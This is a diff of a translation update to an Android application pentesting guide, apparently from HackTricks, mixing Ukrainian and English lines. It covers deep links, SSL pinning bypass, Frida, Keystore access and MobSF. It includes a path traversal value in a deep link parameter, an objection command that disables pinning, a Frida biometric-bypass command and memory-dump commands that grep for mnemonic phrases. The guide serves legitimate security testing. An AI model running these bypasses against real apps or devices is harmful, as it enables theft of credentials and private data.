[https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io). Ця платформа дозволяє вам **upload** і **execute** APKs, тому корисна, щоб подивитися, як apk поводиться. -You can even **see the logs of your application** in the web and connect through **adb**. +Ви навіть можете **see the logs of your application** в вебі та підключитися через **adb**. ![](<../../images/image (831).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +Завдяки ADB-з'єднанню ви можете використовувати **Drozer** і **Frida** всередині емуляторів. ### Локальний динамічний аналіз -#### Using an emulator +#### Використання емулятора - [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). - Learn to set it up in this page: @@ -289,7 +287,7 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. +Розробникам слід остерігатися публічного розкриття **debugging information**, оскільки це може призвести до чутливих data leak. Для моніторингу логів додатку та виявлення і захисту чутливої інформації рекомендовано використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) і `adb logcat`. **Pidcat** цінується за простоту використання та читабельність. > [!WARNING] > Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ @@ -297,7 +295,7 @@ Developers should be cautious of exposing **debugging information** publicly, as **Copy/Paste Buffer Caching** -Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leak. **Crash Logs** @@ -341,23 +339,23 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**ПРИМІТКА**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Зауважте, що authorisation bypass не завжди є вразливістю — це залежатиме від того, як bypass працює і яка інформація розкривається. +> Зверніть увагу, що an authorisation bypass не завжди є вразливістю — це залежить від того, як bypass працює і яка інформація розкривається. -**Sensitive information leakage** +**Витік чутливої інформації** -**Activities can also return results**. Якщо вам вдасться знайти експортовану та незахищену activity, яка викликає метод **`setResult`** і **повертає конфіденційну інформацію**, відбувається sensitive information leakage. +**Activities can also return results**. Якщо вам вдасться знайти exported і unprotected activity, яка викликає метод **`setResult`** і повертає чутливу інформацію, це призводить до витоку чутливої інформації. #### Tapjacking -If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking). +Якщо Tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити користувача виконати unexpected дії. For more info about [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers по суті використовуються для обміну даними. Якщо в додатку доступні content providers, ви можете вивести з них **конфіденційні** дані. Також варто протестувати на можливі **SQL injections** і **Path Traversals**, оскільки вони також можуть бути вразливими. +Content providers, в основному, використовуються для **обміну даними**. Якщо в додатку доступні content providers, ви можете змогли б **отримати чутливі** дані з них. Також варто перевірити можливі **SQL injections** і **Path Traversals**, оскільки вони можуть бути вразливими. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) @@ -366,7 +364,7 @@ Content providers по суті використовуються для обмі [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ Пам'ятайте, що дії Service починаються в методі `onStartCommand`. -Service по суті — це те, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо додаток експортує якісь services, варто **перевірити** **код**, щоб зрозуміти, що він робить, і **протестувати** його **динамічно** для вилучення конфіденційної інформації, обходу заходів автентифікації тощо.\ +Сервіс по суті — це те, що **може отримувати дані**, **обробляти** їх і **повертати** (або ні) відповідь. Тому, якщо додаток експортує якісь сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **протестувати** його **динамічно** для отримання конфіденційної інформації, обходу механізмів автентифікації тощо.\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** @@ -374,37 +372,37 @@ Service по суті — це те, що **може отримувати дан [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`. -Broadcast receiver очікує на певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\ +Broadcast receiver очікує певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Ви можете **відкрити** оголошену **scheme** за допомогою **adb** або **browser**: +You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Зверніть увагу, що ви можете **пропустити ім’я пакета** і мобільний пристрій автоматично викличе додаток, який має відкрити це посилання._ +_Note that you can **omit the package name** and the mobile will automatically call the app that should open that link._ ```html Click me with alternative ``` -**Code executed** +**Код, що виконається** -In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. +Щоб знайти **код, який буде виконаний в App**, перейдіть до activity, викликаної deeplink, і знайдіть функцію **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Чутлива інформація** -Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** +Кожного разу, коли ви знаходите deep link, перевіряйте, чи i**t's not receiving sensitive data (like passwords) via URL parameters**, тому що будь-який інший додаток може **імітувати deep link і вкрасти ці дані!** **Parameters in path** -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Ви **також повинні перевірити, чи якийсь deep link не використовує параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити path traversal, звернувшись, наприклад, до: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Зверніть увагу, що якщо ви знайдете правильні endpoints всередині додатку, ви можете спричинити **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо ви можете змінити деталі користувача без CSRF token і вразливий endpoint використовував правильний метод) та будь-яку іншу vuln. Більше [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** @@ -412,34 +410,34 @@ An [interesting bug bounty report](https://hackerone.com/reports/855618) about l ### Transport Layer Inspection and Verification Failures -- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. -- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities. +- **Certificates are not always inspected properly** by Android applications. Часто такі додатки ігнорують попередження й приймають self-signed certificates або, в деяких випадках, повертаються до використання HTTP-з’єднань. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, застосовуючи небезпечні cipher suites. Ця вразливість робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи атакуючим розшифровувати дані. +- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. Такий підхід не захищає чутливі дані, наприклад session cookies або відомості користувачів, від перехоплення зловмисниками. #### Certificate Verification -We will focus on **certificate verification**. The integrity of the server's certificate must be verified to enhance security. This is crucial because insecure TLS configurations and the transmission of sensitive data over unencrypted channels can pose significant risks. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance. +Ми зосередимося на **certificate verification**. Необхідно перевіряти цілісність сертифіката сервера для підвищення безпеки. Це критично, оскільки ненадійні налаштування TLS та передача чутливих даних по незашифрованих каналах можуть становити значні ризики. Для детальних кроків з перевірки сертифікатів сервера та усунення вразливостей — [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) містить вичерпні вказівки. #### SSL Pinning -SSL Pinning is a security measure where the application verifies the server's certificate against a known copy stored within the application itself. This method is essential for preventing MITM attacks. Implementing SSL Pinning is strongly recommended for applications handling sensitive information. +SSL Pinning — це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої всередині самого додатку. Цей метод є важливим для запобігання MITM-атакам. Рекомендовано реалізувати SSL Pinning для додатків, що працюють з чутливою інформацією. #### Traffic Inspection -To inspect HTTP traffic, it's necessary to **install the proxy tool's certificate** (e.g., Burp). Without installing this certificate, encrypted traffic might not be visible through the proxy. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Для інспекції HTTP-трафіку необхідно **встановити сертифікат проксі-інструмента** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Інструкцію зі встановлення кастомного CA-сертифіката дивіться [**тут**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Додатки, що таргетять **API Level 24 and above**, вимагають змін у Network Security Config, щоб приймати CA-сертифікат проксі. Це критичний крок для інспекції зашифрованого трафіку. Інструкції зі зміни Network Security Config дивіться [**туторіал**](make-apk-accept-ca-certificate.md). -If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**цій сторінці**](flutter.md). Просто додати сертифікат у сховище може бути недостатньо, оскільки Flutter має власний список дійсних CA. #### Static detection of SSL/TLS pinning -Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths. +Перед тим як намагатися runtime bypasses, швидко знайдіть, де саме в APK запроваджено pinning. Статичне виявлення допомагає спланувати hooks/patches і зосередитися на потрібних code paths. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за курованими regex-патернами реалізацій SSL/TLS pinning. +- Повертає точний file path, номер рядка та фрагмент коду для кожного збігу. +- Покриває поширені фреймворки та кастомні шляхи: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, та Network Security Config XML pins. Install - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -456,8 +454,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Приклади шаблонних правил (JSON) -Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning styles. Ви можете завантажити власний JSON і scan at scale. +Приклад правил шаблонів (JSON) +Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning стилів. Ви можете завантажити власний JSON і виконувати масштабне сканування. ```json { "OkHttp Certificate Pinning": [ @@ -471,55 +469,55 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -Нотатки та поради -- Швидке сканування великих додатків за допомогою мультипотоковості та memory-mapped I/O; попередньо скомпільовані regex знижують накладні витрати й хибні спрацьовування. -- Колекція шаблонів: https://github.com/aancw/smali-sslpin-patterns -- Типові цілі для виявлення, які слід розглянути далі: -- OkHttp: використання CertificatePinner, setCertificatePinner, посилання на pakети okhttp3/okhttp -- Користувацькі TrustManagers: javax.net.ssl.X509TrustManager, перевизначення checkServerTrusted -- Користувацькі SSL контексти: SSLContext.getInstance + SSLContext.init з кастомними менеджерами -- Декларативні pins у res/xml network security config та посилання в manifest -- Використайте знайдені місця, щоб спланувати Frida hooks, статичні патчі або перевірку конфігурацій перед динамічним тестуванням. +Поради та підказки +- Швидке сканування великих додатків через multi-threading та memory-mapped I/O; pre-compiled regex зменшує накладні витрати/хибні спрацьовування. +- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +- Типові цілі для виявлення та подальшої триажі: +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Використовуйте знайдені локації для планування Frida hooks, static patches або перевірки конфігурацій перед динамічним тестуванням. -#### Обхід SSL Pinning +#### Bypassing SSL Pinning -Коли реалізовано SSL Pinning, обходи стають необхідними для інспекції HTTPS-трафіку. Існують різні методи для цього: +Коли реалізовано SSL Pinning, його необхідно обійти для інспекції HTTPS-трафіку. Існують різні методи для цього: -- Автоматично **змінити** **apk** щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головний плюс — не потрібно root для обходу SSL Pinning, але потрібно видалити додаток і встановити модифікований, і це не завжди працює. -- Можна використати **Frida** (описано нижче) для обходу цього захисту. Тут є керівництво для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Також можна спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF dynamic analysis** (пояснено нижче) -- Якщо ви все ще думаєте, що якийсь трафік не потрапляє у ваші логі, можна спробувати **форвардити трафік в burp за допомогою iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Автоматично **modify** the **apk** щоб **bypass** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головна перевага цього варіанту в тому, що вам не знадобиться root для обходу SSL Pinning, але доведеться видалити додаток і перевстановити змінений, і це не завжди працює. +- Можна використовувати **Frida** (описана нижче) для обходу цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Також можна спробувати **automatically bypass SSL Pinning** використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Також можна спробувати **automatically bypass SSL Pinning** використовуючи **MobSF dynamic analysis** (пояснено нижче) +- Якщо ви все ще вважаєте, що якийсь трафік не захоплюється, можна спробувати **forward the traffic to burp using iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Пошук поширених веб-вразливостей +#### Looking for Common Web Vulnerabilities -Важливо також шукати поширені веб-вразливості у додатку. Детальна інформація про їх ідентифікацію та пом'якшення виходить за рамки цього короткого огляду, але докладно висвітлена в інших джерелах. +Важливо також шукати загальні web-вразливості всередині додатка. Детальна інформація про виявлення та пом'якшення цих вразливостей виходить за рамки цього огляду, але широко описана в інших джерелах. ### Frida -[Frida](https://www.frida.re) — це комплект інструментів динамічної інструментації для розробників, реверс-інженерів та фахівців з безпеки.\ -**Ви можете отримати доступ до запущеного додатку й перехоплювати методи під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\ -Якщо ви хочете pentest Android-додатки, вам потрібно вміти користуватися Frida. +[Frida](https://www.frida.re) — це тулкіт для динамічної інструментації для розробників, реверс-інженерів і security researcher-ів.\ +**Ви можете отримати доступ до запущеного додатка і hook методи під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\ +Якщо ви хочете pentest Android додатки, ви повинні вміти користуватись Frida. -- Дізнатися, як користуватися Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Деякі "GUI" для роботи з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection чудово автоматизує використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Деякі корисні Frida-скрипти можна знайти тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Спробуйте обійти механізми anti-debugging / anti-frida, завантажуючи Frida як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs)) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Спробуйте обійти anti-debugging / anti-frida механізми, завантаживши Frida як вказано тут [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) -#### Анти-інструментація & workflow обходу SSL pinning +#### Anti-instrumentation & SSL pinning bypass workflow {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **Дамп пам'яті - Fridump** +### **Dump Memory - Fridump** -Перевірте, чи додаток зберігає в пам'яті чутливу інформацію, якої не повинен зберігати — наприклад паролі чи мнемоніки. +Перевірте, чи додаток не зберігає в пам'яті конфіденційну інформацію, яку не повинен зберігати, наприклад паролі або мнемоніки. -Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете дампнути пам'ять додатку за допомогою: +Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете зробити dump пам'яті додатка за допомогою: ```bash # With PID python3 fridump3.py -u @@ -528,63 +526,65 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Це зробить dump пам'яті в папку ./dump, а в ній ви можете виконати grep приблизно так: +Це вивантажить пам'ять у папку ./dump, і там ви можете виконати grep за допомогою чогось на кшталт: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Sensitive data in Keystore** +### **Чутливі дані в Keystore** -В Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все ще **можна отримати до нього доступ**. Оскільки додатки часто зберігають тут **sensitive data in clear text**, pentests мають перевіряти це, оскільки root user або особа з фізичним доступом до пристрою може викрасти ці дані. +В Android Keystore — найкраще місце для зберігання чутливих даних, однак при наявності достатніх привілеїв все ще **можна отримати до нього доступ**. -Навіть якщо додаток зберіг дані в keystore, дані мають бути зашифровані. +Оскільки додатки схильні зберігати тут **sensitive data in clear text**, pentests мають перевіряти це під root або особою з фізичним доступом до пристрою, яка може вкрасти ці дані. -Щоб отримати доступ до даних всередині keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Навіть якщо додаток зберіг дані в Keystore, ці дані повинні бути зашифровані. + +Щоб отримати доступ до даних у Keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Використовуючи наведений Frida script, можливо обійти **bypass fingerprint authentication**, яку застосунки Android можуть реалізовувати для **захисту певних чутливих областей:** +Використовуючи наступний Frida-скрипт, можливо виконати **bypass fingerprint authentication**, яке Android-додатки можуть використовувати для **захисту певних чутливих областей:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Фонові зображення** -Коли ви переводите застосунок у фоновий режим, Android зберігає **знімок застосунку**, тож під час повернення на передній план система спочатку завантажує це зображення, щоб здавалося, що застосунок відкрився швидше. +Коли ви переводите застосунок у фон, Android зберігає **snapshot of the application**, тож при поверненні на передній план система спочатку завантажує це зображення перед самим застосунком, щоб здавалося, ніби застосунок відкрився швидше. -Однак якщо цей знімок містить **чутливу інформацію**, хтось із доступом до нього може **вкрасти цю інформацію** (зауважте, що для доступу потрібні root-права). +Однак, якщо цей snapshot містить **чутливу інформацію**, людина з доступом до snapshot може **вкрасти ці дані** (зверніть увагу, що для доступу потрібен root). -Зазвичай знімки зберігаються за шляхом: **`/data/system_ce/0/snapshots`** +Snapshots зазвичай зберігаються за шляхом: **`/data/system_ce/0/snapshots`** -Android надає спосіб **запобігти захопленню скріншоту, встановивши параметр макету FLAG_SECURE**. Використовуючи цей прапорець, вміст вікна позначається як захищений, що запобігає його появі у скріншотах або перегляду на незахищених дисплеях. +Android надає можливість **запобігти захопленню знімків екрана, встановивши параметр макета FLAG_SECURE**. Використовуючи цей флаг, вміст вікна вважається захищеним, що запобігає його появі у знімках екрана або перегляду на ненадійних дисплеях. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Цей інструмент може допомогти вам керувати різними інструментами під час динамічного аналізу: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Цей інструмент може допомогти вам керувати різними інструментами під час dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Розробники часто створюють проксі-компоненти, такі як activities, services та broadcast receivers, які обробляють ці Intents і передають їх у методи на кшталт `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано. +Розробники часто створюють proxy components, такі як activities, services і broadcast receivers, які обробляють ці Intents і передають їх у методи, такі як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано. -Небезпека полягає в тому, що це дозволяє атакуючим спровокувати non-exported app components або отримати доступ до чутливих content providers, перенаправивши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL у `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може привести до шкідливої інжекції Intent. +Небезпека полягає в тому, що атака може змусити виконати non-exported app components або отримати доступ до чутливих content providers, неправильно скерувавши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL у `Intent` об'єкти через `Intent.parseUri(...)` і потім виконує їх, що потенційно може призвести до malicious Intent injections. ### Essential Takeaways -- **Intent Injection** схожа на веб-проблему Open Redirect. -- Експлойти можуть передавати об'єкти `Intent` як extras, які потім перенаправляються для виконання небезпечних операцій. -- Це може відкрити доступ атакуючим до non-exported components та content providers. -- Перетворення URL у `Intent` в WebView може сприяти небажаним діям. +- **Intent Injection** схоже на Open Redirect у web. +- Експлойти включають передачу `Intent` об'єктів як extras, які можуть бути перенаправлені для виконання небезпечних операцій. +- Це може відкрити non-exported components та content providers для атакуючих. +- Конвертація URL у `Intent` компонентом `WebView` може сприяти небажаним діям. ### Android Client Side Injections and others -Ймовірно ви знаєте про цей тип вразливостей із Web. Слід бути особливо обережним з такими вразливостями в Android-додатку: +Ймовірно, ви знайомі з цими типами вразливостей з Web. У Android application необхідно бути особливо уважним щодо таких вразливостей: -- **SQL Injection:** При роботі з динамічними запитами або Content-Providers переконайтеся, що використовуєте parameterized queries. -- **JavaScript Injection (XSS):** Перевірте, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнена за замовчуванням). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: У кількох випадках, коли android application завершує сесію, cookie не відкликається або може бути навіть збережено на диску +- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. +- **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript та Plugin вимкнена для будь-яких WebViews (disabled by default). [Детальніше тут](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Детальніше тут](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: У ряді випадків, коли android application завершує сесію, cookie не відкликається або може навіть зберігатися на диску - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -593,55 +593,55 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Статичний аналіз** +**Static analysis** ![](<../../images/image (866).png>) -**Оцінка вразливостей додатку** за допомогою зручного web-based frontend. Ви також можете виконати dynamic analysis (але потрібно підготувати середовище). +**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Додатки Windows потрібно аналізувати за допомогою MobSF, встановленого на хості Windows_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Також, якщо ви створите **ZIP** файл зі вихідним кодом якщо **Android** або **IOS** app (перейдіть у кореневу папку застосунку, виділіть усе і створіть ZIPfile), воно також зможе його аналізувати. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF також дозволяє робити **diff/Compare** аналізи та інтегрувати **VirusTotal** (вам потрібно встановити ваш API key у _MobSF/settings.py_ і увімкнути його: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` у `False`, тоді **hash** буде **upload** замість файлу. -### Допоміжний динамічний аналіз з MobSF +### Асистований динамічний аналіз з MobSF -**MobSF** також дуже корисний для **dynamic analysis** в **Android**, але в цьому випадку потрібно встановити MobSF та **genymotion** на ваш хост (VM або Docker не підходять). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +**MobSF** також може бути дуже корисним для **dynamic analysis** в **Android**, але в цьому випадку вам потрібно встановити MobSF та **genymotion** на вашому хості (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ **MobSF dynamic analyser** може: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Усе це робиться автоматично, крім скриншотів — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати скриншоти всіх exported activities. -- Capture **HTTPS traffic** 